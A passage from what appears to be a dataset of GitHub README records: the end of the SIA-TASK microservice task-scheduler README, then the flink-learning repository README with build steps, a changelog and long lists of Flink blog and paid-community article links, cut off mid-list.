由一个或者多个存在相互逻辑关系(串行/并行)的任务组成,任务调度中心调度的最小单位; * 计划(Plan): 由若干个顺序执行的作业组成,每个作业都有自己的执行周期,计划没有执行周期; * 任务调度中心(Scheduler): 根据每个的作业的执行周期进行调度,即按照计划、作业、任务的逻辑进行HTTP请求; * 任务编排中心(Config): 编排中心使用任务来创建计划和作业; * 任务执行器(Executer): 接收HTTP请求进行业务逻辑的执行; * Hunter:Spring项目扩展包,负责执行器中的任务抓取,上传注册中心,业务可依赖该组件进行Task编写。 Terms --- * Task: the basic execution unit and the HTTP call interface * Job: the minimum scheduled unit that is composed of one or more (serial/concurrent) tasks * Plan: the composition of several serial jobs with no execution cycle * Scheduler: sends HTTP requests based on the logic of the plans, jobs and tasks * Config: creates plans and jobs with tasks * Executer: receives HTTP requests and executes the business logic * Hunter: fetches tasks, uploads metadata and scripts business tasks 微服务任务调度平台的特性 --- * 基于注解自动抓取任务,在暴露成HTTP服务的方法上加入@OnlineTask注解,@OnlineTask会自动抓取方法所在的IP地址,端口,请求路径,请求方法,请求参数格式等信息上传到任务注册中心(zookeeper),并同步写入持久化存储中,此方法即任务; * 基于注解无侵入多线程控制,单一任务实例必须保持单线程运行,任务调度框架自动拦截@OnlineTask注解进行单线程运行控制,保持在一个任务运行时不会被再次调度。而且整个控制过程对开发者完全无感知。 * 调度器自适应任务分配,任务执行过程中出现失败,异常时。可以根据任务定制的策略进行多点重新唤醒任务,保证任务的不间断执行。 * 高度灵活任务编排模式,SIA-TASK的设计思想是以任务为原子,把多个任务按照执行的关系组合起来形成一个作业。同时运行时分为任务调度中心和任务编排中心,使得作业的调度和作业的编排分隔开来,互不影响。在我们需要调整作业的流程时,只需要在编排中心进行处理即可。同时编排中心支持任务按照串行,并行,分支等方式组织关系。在相同任务不同任务实例时,也支持多种调度方式进行处理。 Features --- * Annotation-based automatic task fetching. Add @OnlineTask to the HTTP method. @OnlineTask would fetch and upload the IP address, port, request path, and request parameter format to the registry (Zookeeper) while writing the information into the persistent storage. * Annotation-based non-invasive multi-threading control. The scheduler automatically intercepts @OnlineTask for single-threading control and ensures that the running task would not be scheduled again. The whole process is non-invasive. * Self-adaptive task scheduling. Tasks can be woken up based on the custom strategies when execution failure happens. * Flexible task configuration. SIA-TASK is designed to group several logically related tasks into a job. The Scheduler and the Config schedules and configures jobs independently. The Config allows tasks to be organized in series, concurrently or as branches. Instances of the same task can be scheduled differently. 微服务任务调度平台设计 --- SIA-TASK主要分为五个部分: * 任务执行器 * 任务调度中心 * 任务编排中心 * 任务注册中心(zookeeper) * 持久存储(Mysql) SIA-TASK includes the following components: * Executer * Scheduler * Config * Registry (Zookeeper) * Persistent storage (MySQL) ![逻辑架构图](docs/images/sia_task1.png) SIA-TASK的主要运行逻辑: 1. 通过注解抓取任务执行器中的任务上报到任务注册中心 2. 任务编排中心从任务注册中心获取数据进行编排保存入持久化存储 3. 任务调度中心从持久化存储获取调度信息 4. 任务调度中心按照调度逻辑访问任务执行器 SIA-TASK的主要运行逻辑: 1. Fetch and upload annotated tasks to the registry 2. The Config obtains data from the registry for scheduling and persistent storage 3. The Scheduler acquires data from the persistent storage 4. The Scheduler accesses the task scheduler following the scheduling logic ![逻辑架构图](docs/images/sia_task2.png) UI预览 --- 首页提供多维度监控 * 调度器信息:展示调度器信息(负载能力,预警值),以及作业分布情况。 * 调度信息:展示调度中心触发的调度次数,作业、任务多维度调度统计。 * 对接项目统计:对使用项目的系统进行统计,作业个数,任务个数等等。 Homepage * Scheduler: loading capacity, alarm value and job distribution * Scheduling: scheduling frequency, job metrics and task metrics * Active users: job count and task count of active users ![首页](docs/images/index.png) </br> 调度监控提供对已提交的作业进行实时监控展示 * 作业状态实时监控:以项目组为单位面板,展示作业运行时状态。 * 实时日志关联:可以通过涂色状态图标进行日志实时关联展示。 Scheduling Monitor: real-time monitoring over submitted jobs * Real-time job monitoring: runtime metrics of jobs by project group * Real-time log correlation: 可以通过涂色状态图标进行日志实时关联展示。 ![调度监控](docs/images/scheduling-monitoring.png) </br> 任务管理:提供任务元数据的相关操作 * 任务元数据录入:手动模式的任务,可在此进行录入。 * 任务连通性测试:提供任务连通性功能测试。 * 任务元数据其他操作:修改,删除。 Task Manager: task metadata operation * Metadata entry: enter the metadata of manual tasks * Connectivity test: test the connectivity of tasks * Modification and deletion ![Task管理](docs/images/Task-management.png) ![Task管理](docs/images/user-handbook_taskMg5.png) </br> Job管理:提供作业相关操作 * 任务编排:进行作业的编排。 * 发布作业: 作业的创建,修改,以及发布。 * 级联设置:提供存在时间依赖的作业设置。 Job Manager: job operations * Task configuration: configure jobs * Job release: create, modify and release jobs * Cascading setting: set time-dependent jobs ![Job管理](docs/images/Job-management.png) </br> 日志管理 Log Manager ![Job管理](docs/images/user-handbook_log1.png) 开源地址 --- * [https://github.com/siaorg/sia-task](https://github.com/siaorg/sia-task) ## 其他说明 ### 关于编译代码 * 建议使用Jdk1.8以上,JDK 1.8 or later version is recommended. ### 版本说明 * 建议版本1.0.0,SIA-TASK 1.0.0 is recommended. ### 版权说明 * 自身使用 Apache v2.0 协议,SIA-TASK uses Apache 2.0. ### 其他相关资料 ## SIA相关开源产品链接: + [微服务路由网关](https://github.com/siaorg/sia-gateway) + [Rabbitmq队列服务PLUS](https://github.com/siaorg/sia-rabbitmq-plus) (待补充)
0
zhisheng17/flink-learning
flink learning blog. http://www.54tianzhisheng.cn/ 含 Flink 入门、概念、原理、实战、性能调优、源码解析等内容。涉及 Flink Connector、Metrics、Library、DataStream API、Table API & SQL 等内容的学习案例,还有 Flink 落地应用的大型项目案例(PVUV、日志存储、百亿数据实时去重、监控告警)分享。欢迎大家支持我的专栏《大数据实时计算引擎 Flink 实战与性能优化》
2019-01-01T07:38:28Z
null
# Flink 学习 麻烦路过的各位亲给这个项目点个 star,太不易了,写了这么多,算是对我坚持下来的一种鼓励吧!另外特别感谢 [JetBrains](https://jb.gg/OpenSourceSupport) 公司提供的免费全家桶工具,🙏🙏🙏! ![](http://zhisheng-blog.oss-cn-hangzhou.aliyuncs.com/img/2019-05-25-124027.jpg) ## Stargazers over time ![Stargazers over time](https://starchart.cc/zhisheng17/flink-learning.svg) ## 本项目结构 ![](http://zhisheng-blog.oss-cn-hangzhou.aliyuncs.com/2020-01-11-064410.png) ## How to build Maybe your Maven conf file `settings.xml` mirrors can add aliyun central mirror : ```xml <mirror> <id>alimaven</id> <mirrorOf>central</mirrorOf> <name>aliyun maven</name> <url>https://maven.aliyun.com/repository/central</url> </mirror> ``` then you can run the following command : ``` mvn clean package -Dmaven.test.skip=true ``` you can see following result if build success. ![](http://zhisheng-blog.oss-cn-hangzhou.aliyuncs.com/img/2019-09-27-121923.jpg) ## Flink 系统专栏 基于 Flink 1.9 讲解的专栏,涉及入门、概念、原理、实战、性能调优、系统案例的讲解。扫码下面专栏二维码可以订阅该专栏 ![](http://zhisheng-blog.oss-cn-hangzhou.aliyuncs.com/img/2019-11-05-044731.jpg) 首发地址:[http://www.54tianzhisheng.cn/2019/11/15/flink-in-action/](http://www.54tianzhisheng.cn/2019/11/15/flink-in-action/) 专栏地址:[https://gitbook.cn/gitchat/column/5dad4a20669f843a1a37cb4f](https://gitbook.cn/gitchat/column/5dad4a20669f843a1a37cb4f) ## Change **2022/02/26** 将自己 《Flink 实战与性能优化》专栏放在 GitHub,参见 books 目录 **2021/12/18** 将该项目的 Flink 版本升级至 1.14.2,如果有需要可以去老的分支查看。 **2021/08/15** 将该项目的 Flink 版本升级至 1.13.2,API 发生重大改变,所以代码结构也做了相应的调整(部分代码在 master 分支已经删除,同时将之前的代码切到 [feature/flink-1.10.0](https://github.com/zhisheng17/flink-learning/tree/feature/flink-1.10.0) 上了,如果有需要可以去老的分支查看)。 **2020/02/16** 将该项目的 Flink 版本升级至 1.10,该版本代码都是经过测试成功运行的,尽量以该版本作为参考,如果代码在你们集群测试不成功,麻烦检查 Flink 版本是否一致,或者是否有包冲突问题。 **2019/09/06** 将该项目的 Flink 版本升级到 1.9.0,有一些变动,Flink 1.8.0 版本的代码经群里讨论保存在分支 [feature/flink-1.8.0](https://github.com/zhisheng17/flink-learning/tree/feature/flink-1.8.0) 以便部分同学需要。 **2019/06/08** 四本 Flink 书籍: + [Introduction_to_Apache_Flink_book.pdf]() 这本书比较薄,处于介绍阶段,国内有这本的翻译书籍 + [Learning Apache Flink.pdf]() 这本书比较基础,初学的话可以多看看 + [Stream Processing with Apache Flink.pdf]() 这本书是 Flink PMC 写的 + [Streaming System.pdf]() 这本书评价不是一般的高 **2019/06/09** 新增流处理引擎相关的 Paper,在 paper 目录下: + [流处理引擎相关的 Paper](./paper/paper.md) **【提示】**:关于书籍的下载,因版权问题,不方便提供,所以已经删除,需要的话可以切换到老分支去下载。 ## 博客 1、[Flink 从0到1学习 —— Apache Flink 介绍](http://www.54tianzhisheng.cn/2018/10/13/flink-introduction/) 2、[Flink 从0到1学习 —— Mac 上搭建 Flink 1.6.0 环境并构建运行简单程序入门](http://www.54tianzhisheng.cn/2018/09/18/flink-install) 3、[Flink 从0到1学习 —— Flink 配置文件详解](http://www.54tianzhisheng.cn/2018/10/27/flink-config/) 4、[Flink 从0到1学习 —— Data Source 介绍](http://www.54tianzhisheng.cn/2018/10/28/flink-sources/) 5、[Flink 从0到1学习 —— 如何自定义 Data Source ?](http://www.54tianzhisheng.cn/2018/10/30/flink-create-source/) 6、[Flink 从0到1学习 —— Data Sink 介绍](http://www.54tianzhisheng.cn/2018/10/29/flink-sink/) 7、[Flink 从0到1学习 —— 如何自定义 Data Sink ?](http://www.54tianzhisheng.cn/2018/10/31/flink-create-sink/) 8、[Flink 从0到1学习 —— Flink Data transformation(转换)](http://www.54tianzhisheng.cn/2018/11/04/Flink-Data-transformation/) 9、[Flink 从0到1学习 —— 介绍 Flink 中的 Stream Windows](http://www.54tianzhisheng.cn/2018/12/08/Flink-Stream-Windows/) 10、[Flink 从0到1学习 —— Flink 中的几种 Time 详解](http://www.54tianzhisheng.cn/2018/12/11/Flink-time/) 11、[Flink 从0到1学习 —— Flink 读取 Kafka 数据写入到 ElasticSearch](http://www.54tianzhisheng.cn/2018/12/30/Flink-ElasticSearch-Sink/) 12、[Flink 从0到1学习 —— Flink 项目如何运行?](http://www.54tianzhisheng.cn/2019/01/05/Flink-run/) 13、[Flink 从0到1学习 —— Flink 读取 Kafka 数据写入到 Kafka](http://www.54tianzhisheng.cn/2019/01/06/Flink-Kafka-sink/) 14、[Flink 从0到1学习 —— Flink JobManager 高可用性配置](http://www.54tianzhisheng.cn/2019/01/13/Flink-JobManager-High-availability/) 15、[Flink 从0到1学习 —— Flink parallelism 和 Slot 介绍](http://www.54tianzhisheng.cn/2019/01/14/Flink-parallelism-slot/) 16、[Flink 从0到1学习 —— Flink 读取 Kafka 数据批量写入到 MySQL](http://www.54tianzhisheng.cn/2019/01/15/Flink-MySQL-sink/) 17、[Flink 从0到1学习 —— Flink 读取 Kafka 数据写入到 RabbitMQ](https://t.zsxq.com/uVbi2nq) 18、[Flink 从0到1学习 —— Flink 读取 Kafka 数据写入到 HBase](https://t.zsxq.com/zV7MnuJ) 19、[Flink 从0到1学习 —— Flink 读取 Kafka 数据写入到 HDFS](https://t.zsxq.com/zV7MnuJ) 20、[Flink 从0到1学习 —— Flink 读取 Kafka 数据写入到 Redis](https://t.zsxq.com/zV7MnuJ) 21、[Flink 从0到1学习 —— Flink 读取 Kafka 数据写入到 Cassandra](https://t.zsxq.com/uVbi2nq) 22、[Flink 从0到1学习 —— Flink 读取 Kafka 数据写入到 Flume](https://t.zsxq.com/zV7MnuJ) 23、[Flink 从0到1学习 —— Flink 读取 Kafka 数据写入到 InfluxDB](https://t.zsxq.com/zV7MnuJ) 24、[Flink 从0到1学习 —— Flink 读取 Kafka 数据写入到 RocketMQ](https://t.zsxq.com/zV7MnuJ) 25、[Flink 从0到1学习 —— 你上传的 jar 包藏到哪里去了](https://t.zsxq.com/uniY7mm) 26、[Flink 从0到1学习 —— 你的 Flink job 日志跑到哪里去了](https://t.zsxq.com/zV7MnuJ) ### Flink 源码项目结构 ![](./pics/Flink-code.png) ## 学习资料 另外我自己整理了些 Flink 的学习资料,目前已经全部放到微信公众号了。 你可以加我的微信:**yuanblog_tzs**,然后回复关键字:**Flink** 即可无条件获取到,转载请联系本人获取授权,违者必究。 ![](http://zhisheng-blog.oss-cn-hangzhou.aliyuncs.com/img/2019-09-17-143454.jpg) 更多私密资料请加入知识星球! ![](http://zhisheng-blog.oss-cn-hangzhou.aliyuncs.com/img/2019-07-23-124320.jpg) 有人要问知识星球里面更新什么内容?值得加入吗? 目前知识星球内已更新的系列文章: ### 大数据重磅炸弹 1、[《大数据重磅炸弹——实时计算引擎 Flink》开篇词](https://t.zsxq.com/fqfuVRR​) 2、[你公司到底需不需要引入实时计算引擎?](https://t.zsxq.com/emMBaQN​) 3、[一文让你彻底了解大数据实时计算框架 Flink](https://t.zsxq.com/eM3ZRf2) ​ 4、[别再傻傻的分不清大数据框架Flink、Blink、Spark Streaming、Structured Streaming和Storm之间的区别了](https://t.zsxq.com/eAyRz7Y)​ 5、[Flink 环境准备看这一篇就够了](https://t.zsxq.com/iaMJAe6​)   6、[一文讲解从 Flink 环境安装到源码编译运行](https://t.zsxq.com/iaMJAe6​) 7、[通过 WordCount 程序教你快速入门上手 Flink](https://t.zsxq.com/eaIIiAm)  ​ 8、[Flink 如何处理 Socket 数据及分析实现过程](https://t.zsxq.com/Vnq72jY​)   9、[Flink job 如何在 Standalone、YARN、Mesos、K8S 上部署运行?](https://t.zsxq.com/BiyvFUZ​) 10、[Flink 数据转换必须熟悉的算子(Operator)](https://t.zsxq.com/fufUBiA) 11、[Flink 中 Processing Time、Event Time、Ingestion Time 对比及其使用场景分析](https://t.zsxq.com/r7aYB2V) 12、[如何使用 Flink Window 及 Window 基本概念与实现原理](https://t.zsxq.com/byZbyrb) 13、[如何使用 DataStream API 来处理数据?](https://t.zsxq.com/VzNBi2r) 14、[Flink WaterMark 详解及结合 WaterMark 处理延迟数据](https://t.zsxq.com/Iub6IQf) 15、[基于 Apache Flink 的监控告警系统](https://t.zsxq.com/MniUnqb) 16、[数据仓库、数据库的对比介绍与实时数仓案例分享](https://t.zsxq.com/v7QzNZ3) 17、[使用 Prometheus Grafana 监控 Flink](https://t.zsxq.com/uRN3VfA) ### 源码系列 1、[Flink 源码解析 —— 源码编译运行](https://t.zsxq.com/UZfaYfE) 2、[Flink 源码解析 —— 项目结构一览](https://t.zsxq.com/zZZjaYf) 3、[Flink 源码解析—— local 模式启动流程](https://t.zsxq.com/zV7MnuJ) 4、[Flink 源码解析 —— standalonesession 模式启动流程](https://t.zsxq.com/QZVRZJA) 5、[Flink 源码解析 —— Standalone Session Cluster 启动流程深度分析之 Job Manager 启动](https://t.zsxq.com/u3fayvf) 6、[Flink 源码解析 —— Standalone Session Cluster 启动流程深度分析之 Task Manager 启动](https://t.zsxq.com/MnQRByb) 7、[Flink 源码解析 —— 分析 Batch WordCount 程序的执行过程](https://t.zsxq.com/YJ2Zrfi) 8、[Flink 源码解析 —— 分析 Streaming WordCount 程序的执行过程](https://t.zsxq.com/qnMFEUJ) 9、[Flink 源码解析 —— 如何获取 JobGraph?](https://t.zsxq.com/naaMf6y) 10、[Flink 源码解析 —— 如何获取 StreamGraph?](https://t.zsxq.com/qRFIm6I) 11、[Flink 源码解析 —— Flink JobManager 有什么作用?](https://t.zsxq.com/2VRrbuf) 12、[Flink 源码解析 —— Flink TaskManager 有什么作用?](https://t.zsxq.com/RZbu7yN) 13、[Flink 源码解析 —— JobManager 处理 SubmitJob 的过程](https://t.zsxq.com/zV7MnuJ) 14、[Flink 源码解析 —— TaskManager 处理 SubmitJob 的过程](https://t.zsxq.com/zV7MnuJ) 15、[Flink 源码解析 —— 深度解析 Flink Checkpoint 机制](https://t.zsxq.com/ynQNbeM) 16、[Flink 源码解析 —— 深度解析 Flink 序列化机制](https://t.zsxq.com/JaQfeMf) 17、[Flink 源码解析 —— 深度解析 Flink 是如何管理好内存的?](https://t.zsxq.com/zjQvjeM) 18、[Flink Metrics 源码解析 —— Flink-metrics-core](https://t.zsxq.com/Mnm2nI6) 19、[Flink Metrics 源码解析 —— Flink-metrics-datadog](https://t.zsxq.com/Mnm2nI6) 20、[Flink Metrics 源码解析 —— Flink-metrics-dropwizard](https://t.zsxq.com/Mnm2nI6) 21、[Flink Metrics 源码解析 —— Flink-metrics-graphite](https://t.zsxq.com/Mnm2nI6) 22、[Flink Metrics 源码解析 —— Flink-metrics-influxdb](https://t.zsxq.com/Mnm2nI6) 23、[Flink Metrics 源码解析 —— Flink-metrics-jmx](https://t.zsxq.com/Mnm2nI6) 24、[Flink Metrics 源码解析 —— Flink-metrics-slf4j](https://t.zsxq.com/Mnm2nI6) 25、[Flink Metrics 源码解析 —— Flink-metrics-statsd](https://t.zsxq.com/Mnm2nI6) 26、[Flink Metrics 源码解析 —— Flink-metrics-prometheus](https://t.zsxq.com/Mnm2nI6) ![](http://zhisheng-blog.oss-cn-hangzhou.aliyuncs.com/img/2019-07-26-150037.jpg) 26、[Flink Annotations 源码解析](https://t.zsxq.com/f6eAu3J) ![](http://zhisheng-blog.oss-cn-hangzhou.aliyuncs.com/img/2019-07-26-145923.jpg) 除了《从1到100深入学习Flink》源码学习这个系列文章,《从0到1学习Flink》的案例文章也会优先在知识星球更新,让大家先通过一些 demo 学习 Flink,再去深入源码学习! 如果学习 Flink 的过程中,遇到什么问题,可以在里面提问,我会优先解答,这里做个抱歉,自己平时工作也挺忙,微信的问题不能做全部做一些解答, 但肯定会优先回复给知识星球的付费用户的,庆幸的是现在星球里的活跃氛围还是可以的,有不少问题通过提问和解答的方式沉淀了下来。 1、[为何我使用 ValueState 保存状态 Job 恢复是状态没恢复?](https://t.zsxq.com/62rZV7q) 2、[flink中watermark究竟是如何生成的,生成的规则是什么,怎么用来处理乱序数据](https://t.zsxq.com/yF2rjmY) 3、[消费kafka数据的时候,如果遇到了脏数据,或者是不符合规则的数据等等怎么处理呢?](https://t.zsxq.com/uzFIeiq) 4、[在Kafka 集群中怎么指定读取/写入数据到指定broker或从指定broker的offset开始消费?](https://t.zsxq.com/Nz7QZBY) 5、[Flink能通过oozie或者azkaban提交吗?](https://t.zsxq.com/7UVBeMj) 6、[jobmanager挂掉后,提交的job怎么不经过手动重新提交执行?](https://t.zsxq.com/mUzRbY7) 7、[使用flink-web-ui提交作业并执行 但是/opt/flink/log目录下没有日志文件 请问关于flink的日志(包括jobmanager、taskmanager、每个job自己的日志默认分别存在哪个目录 )需要怎么配置?](https://t.zsxq.com/Nju7EuV) 8、[通过flink 仪表盘提交的jar 是存储在哪个目录下?](https://t.zsxq.com/6muRz3j) 9、[从Kafka消费数据进行etl清洗,把结果写入hdfs映射成hive表,压缩格式、hive直接能够读取flink写出的文件、按照文件大小或者时间滚动生成文件](https://t.zsxq.com/uvFQvFu) 10、[flink jar包上传至集群上运行,挂掉后,挂掉期间kafka中未被消费的数据,在重新启动程序后,是自动从checkpoint获取挂掉之前的kafka offset位置,自动消费之前的数据进行处理,还是需要某些手动的操作呢?](https://t.zsxq.com/ubIY33f) 11、[flink 启动时不自动创建 上传jar的路径,能指定一个创建好的目录吗](https://t.zsxq.com/UfA2rBy) 12、[Flink sink to es 集群上报 slot 不够,单机跑是好的,为什么?](https://t.zsxq.com/zBMnIA6) 13、[Fllink to elasticsearch如何创建索引文档期时间戳?](https://t.zsxq.com/qrZBAQJ) 14、[blink有没有api文档或者demo,是否建议blink用于生产环境。](https://t.zsxq.com/J2JiIMv) 15、[flink的Python api怎样?bug多吗?](https://t.zsxq.com/ZVVrjuv) 16、[Flink VS Spark Streaming VS Storm VS Kafka Stream ](https://t.zsxq.com/zbybQNf) 17、[你们做实时大屏的技术架构是什么样子的?flume→kafka→flink→redis,然后后端去redis里面捞数据,酱紫可行吗?](https://t.zsxq.com/Zf6meAm) 18、[做一个统计指标的时候,需要在Flink的计算过程中多次读写redis,感觉好怪,星主有没有好的方案?](https://t.zsxq.com/YniI2JQ) 19、[Flink 使用场景大分析,列举了很多的常用场景,可以好好参考一下](https://t.zsxq.com/fYZZfYf) 20、[将kafka中数据sink到mysql时,metadata的数据为空,导入mysql数据不成功???](https://t.zsxq.com/I6eEqR7) 21、[使用了ValueState来保存中间状态,在运行时中间状态保存正常,但是在手动停止后,再重新运行,发现中间状态值没有了,之前出现的键值是从0开始计数的,这是为什么?是需要实现CheckpointedFunction吗?](https://t.zsxq.com/62rZV7q) 22、[flink on yarn jobmanager的HA需要怎么配置。还是说yarn给管理了](https://t.zsxq.com/mQ7YbQJ) 23、[有两个数据流就行connect,其中一个是实时数据流(kafka 读取),另一个是配置流。由于配置流是从关系型数据库中读取,速度较慢,导致实时数据流流入数据的时候,配置信息还未发送,这样会导致有些实时数据读取不到配置信息。目前采取的措施是在connect方法后的flatmap的实现的在open 方法中,提前加载一次配置信息,感觉这种实现方式不友好,请问还有其他的实现方式吗?](https://t.zsxq.com/q3VvB6U) 24、[Flink能通过oozie或者azkaban提交吗?](https://t.zsxq.com/7UVBeMj) 25、[不采用yarm部署flink,还有其他的方案吗? 主要想解决服务器重启后,flink服务怎么自动拉起? jobmanager挂掉后,提交的job怎么不经过手动重新提交执行?](https://t.zsxq.com/mUzRbY7) 26、[在一个 Job 里将同份数据昨晚清洗操作后,sink 到后端多个地方(看业务需求),如何保持一致性?(一个sink出错,另外的也保证不能插入)](https://t.zsxq.com/bYnimQv) 27、[flink sql任务在某个特定阶段会发生tm和jm丢失心跳,是不是由于gc时间过长呢,](https://t.zsxq.com/YvBAyrV) 28、[有这样一个需求,统计用户近两周进入产品详情页的来源(1首页大搜索,2产品频道搜索,3其他),为php后端提供数据支持,该信息在端上报事件中,php直接获取有点困难。 我现在的解决方案 通过flink滚动窗口(半小时),统计用户半小时内3个来源pv,然后按照日期序列化,直接写mysql。php从数据库中解析出来,再去统计近两周占比。 问题1,这个需求适合用flink去做吗? 问题2,我的方案总感觉怪怪的,有没有好的方案?](https://t.zsxq.com/fayf2Vv) 29、[一个task slot 只能同时运行一个任务还是多个任务呢?如果task slot运行的任务比较大,会出现OOM的情况吗?](https://t.zsxq.com/ZFiY3VZ) 30、[你们怎么对线上flink做监控的,如果整个程序失败了怎么自动重启等等](https://t.zsxq.com/Yn2JqB6) 31、[flink cep规则动态解析有接触吗?有没有成型的框架?](https://t.zsxq.com/YFMFeaA) 32、[每一个Window都有一个watermark吗?window是怎么根据watermark进行触发或者销毁的?](https://t.zsxq.com/VZvRrjm) 33、[ CheckPoint与SavePoint的区别是什么?](https://t.zsxq.com/R3ZZJUF) 34、[flink可以在算子中共享状态吗?或者大佬你有什么方法可以共享状态的呢?](https://t.zsxq.com/Aa62Bim) 35、[运行几分钟就报了,看taskmager日志,报的是 failed elasticsearch bulk request null,可是我代码里面已经做过空值判断了呀 而且也过滤掉了,flink版本1.7.2 es版本6.3.1](https://t.zsxq.com/ayFmmMF) 36、[这种情况,我们调并行度 还是配置参数好](https://t.zsxq.com/Yzzzb2b) 37、[大家都用jdbc写,各种数据库增删查改拼sql有没有觉得很累,ps.set代码一大堆,还要计算每个参数的位置](https://t.zsxq.com/AqBUR3f) 38、[关于datasource的配置,每个taskmanager对应一个datasource?还是每个slot? 实际运行下来,每个slot中datasorce线程池只要设置1就行了,多了也用不到?](https://t.zsxq.com/AqBUR3f) 39、[kafka现在每天出现数据丢失,现在小批量数据,一天200W左右, kafka版本为 1.0.0,集群总共7个节点,TOPIC有十六个分区,单条报文1.5k左右](https://t.zsxq.com/AqBUR3f) 40、[根据key.hash的绝对值 对并发度求模,进行分组,假设10各并发度,实际只有8个分区有处理数据,有2个始终不处理,还有一个分区处理的数据是其他的三倍,如截图](https://t.zsxq.com/AqBUR3f) 41、[flink每7小时不知道在处理什么, CPU 负载 每7小时,有一次高峰,5分钟内平均负载超过0.8,如截图](https://t.zsxq.com/AqBUR3f) 42、[有没有Flink写的项目推荐?我想看到用Flink写的整体项目是怎么组织的,不单单是一个单例子](https://t.zsxq.com/M3fIMbu) 43、[Flink 源码的结构图](https://t.zsxq.com/yv7EQFA) 44、[我想根据不同业务表(case when)进行不同的redis sink(hash ,set),我要如何操作?](https://t.zsxq.com/vBAYNJq) 45、[这个需要清理什么数据呀,我把hdfs里面的已经清理了 启动还是报这个](https://t.zsxq.com/b2zbUJa) 46、[ 在流处理系统,在机器发生故障恢复之后,什么情况消息最多会被处理一次?什么情况消息最少会被处理一次呢?](https://t.zsxq.com/QjQFmQr) 47、[我检查点都调到5分钟了,这是什么问题](https://t.zsxq.com/zbQNfuJ) 48、[reduce方法后 那个交易时间 怎么不是最新的,是第一次进入的那个时间,](https://t.zsxq.com/ZrjEauN) 49、[Flink on Yarn 模式,用yarn session脚本启动的时候,我在后台没有看到到Jobmanager,TaskManager,ApplicationMaster这几个进程,想请问一下这是什么原因呢?因为之前看官网的时候,说Jobmanager就是一个jvm进程,Taskmanage也是一个JVM进程](https://t.zsxq.com/VJyr3bM) 50、[Flink on Yarn的时候得指定 多少个TaskManager和每个TaskManager slot去运行任务,这样做感觉不太合理,因为用户也不知道需要多少个TaskManager适合,Flink 有动态启动TaskManager的机制吗。](https://t.zsxq.com/VJyr3bM) 51、[参考这个例子,Flink 零基础实战教程:如何计算实时热门商品 | Jark's Blog, 窗口聚合的时候,用keywindow,用的是timeWindowAll,然后在aggregate的时候用aggregate(new CustomAggregateFunction(), new CustomWindowFunction()),打印结果后,发现窗口中一直使用的重复的数据,统计的结果也不变,去掉CustomWindowFunction()就正常了 ? 非常奇怪](https://t.zsxq.com/UBmUJMv) 52、[用户进入产品预定页面(端埋点上报),并填写了一些信息(端埋点上报),但半小时内并没有产生任何订单,然后给该类用户发送一个push。 1. 这种需求适合用flink去做吗?2. 如果适合,说下大概的思路](https://t.zsxq.com/naQb6aI) 53、[业务场景是实时获取数据存redis,请问我要如何按天、按周、按月分别存入redis里?(比方说过了一天自动换一个位置存redis)](https://t.zsxq.com/AUf2VNz) 54、[有人 AggregatingState 的例子吗, 感觉官方的例子和 官网的不太一样?](https://t.zsxq.com/UJ6Y7m2) 55、[flink-jdbc这个jar有吗?怎么没找到啊?1.8.0的没找到,1.6.2的有](https://t.zsxq.com/r3BaAY3) 56、[现有个关于savepoint的问题,操作流程为,取消任务时设置保存点,更新任务,从保存点启动任务;现在遇到个问题,假设我中间某个算子重写,原先通过state编写,有用定时器,现在更改后,采用窗口,反正就是实现方式完全不一样;从保存点启动就会一直报错,重启,原先的保存点不能还原,此时就会有很多数据重复等各种问题,如何才能保证数据不丢失,不重复等,恢复到停止的时候,现在想到的是记下kafka的偏移量,再做处理,貌似也不是很好弄,有什么解决办法吗](https://t.zsxq.com/jiybIee) 57、[需要在flink计算app页面访问时长,消费Kafka计算后输出到Kafka。第一条log需要等待第二条log的时间戳计算访问时长。我想问的是,flink是分布式的,那么它能否保证执行的顺序性?后来的数据有没有可能先被执行?](https://t.zsxq.com/eMJmiQz) 58、[我公司想做实时大屏,现有技术是将业务所需指标实时用spark拉到redis里存着,然后再用一条spark streaming流计算简单乘除运算,指标包含了各月份的比较。请问我该如何用flink简化上述流程?](https://t.zsxq.com/Y7e6aIu) 59、[flink on yarn 方式,这样理解不知道对不对,yarn-session这个脚本其实就是准备yarn环境的,执行run任务的时候,根据yarn-session初始化的yarnDescription 把 flink 任务的jobGraph提交到yarn上去执行](https://t.zsxq.com/QbIayJ6) 60、[同样的代码逻辑写在单独的main函数中就可以成功的消费kafka ,写在一个spring boot的程序中,接受外部请求,然后执行相同的逻辑就不能消费kafka。你遇到过吗?能给一些查问题的建议,或者在哪里打个断点,能看到为什么消费不到kafka的消息呢?](https://t.zsxq.com/VFMRbYN) 61、[请问下flink可以实现一个流中同时存在订单表和订单商品表的数据 两者是一对多的关系 能实现得到 以订单表为主 一个订单多个商品 这种需求嘛](https://t.zsxq.com/QNvjI6Q) 62、[在用中间状态的时候,如果中间一些信息保存在state中,有没有必要在redis中再保存一份,来做第三方的存储。](https://t.zsxq.com/6ie66EE) 63、[能否出一期flink state的文章。什么场景下用什么样的state?如,最简单的,实时累加update到state。](https://t.zsxq.com/bm6mYjI) 64、[flink的双流join博主有使用的经验吗?会有什么常见的问题吗](https://t.zsxq.com/II6AEe2) 65、[窗口触发的条件问题](https://t.zsxq.com/V7EmUZR) 66、[flink 定时任务怎么做?有相关的demo么?](https://t.zsxq.com/JY3NJam) 67、[流式处理过程中数据的一致性如何保证或者如何检测](https://t.zsxq.com/7YZ3Fuz) 68、[重启flink单机集群,还报job not found 异常。](https://t.zsxq.com/nEEQvzR) 69、[kafka的数据是用 org.apache.kafka.common.serialization.ByteArraySerialize序列化的,flink这边消费的时候怎么通过FlinkKafkaConsumer创建DataStream<String>?](https://t.zsxq.com/qJyvzNj) 70、[现在公司有一个需求,一些用户的支付日志,通过sls收集,要把这些日志处理后,结果写入到MySQL,关键这些日志可能连着来好几条才是一个用户的,因为发起请求,响应等每个环节都有相应的日志,这几条日志综合处理才能得到最终的结果,请问博主有什么好的方法没有?](https://t.zsxq.com/byvnaEi) 71、[flink 支持hadoop 主备么? hadoop主节点挂了 flink 会切换到hadoop 备用节点?](https://t.zsxq.com/qfie6qR) 72、[请教大家: 实际 flink 开发中用 scala 多还是 java多些? 刚入手 flink 大数据 scala 需要深入学习么?](https://t.zsxq.com/ZVZzZv7) 73、[我使用的是flink是1.7.2最近用了split的方式分流,但是底层的SplitStream上却标注为Deprecated,请问是官方不推荐使用分流的方式吗?](https://t.zsxq.com/Qzbi6yn) 74、[KeyBy 的正确理解,和数据倾斜问题的解释](https://t.zsxq.com/Auf2NVR) 75、[用flink时,遇到个问题 checkpoint大概有2G左右, 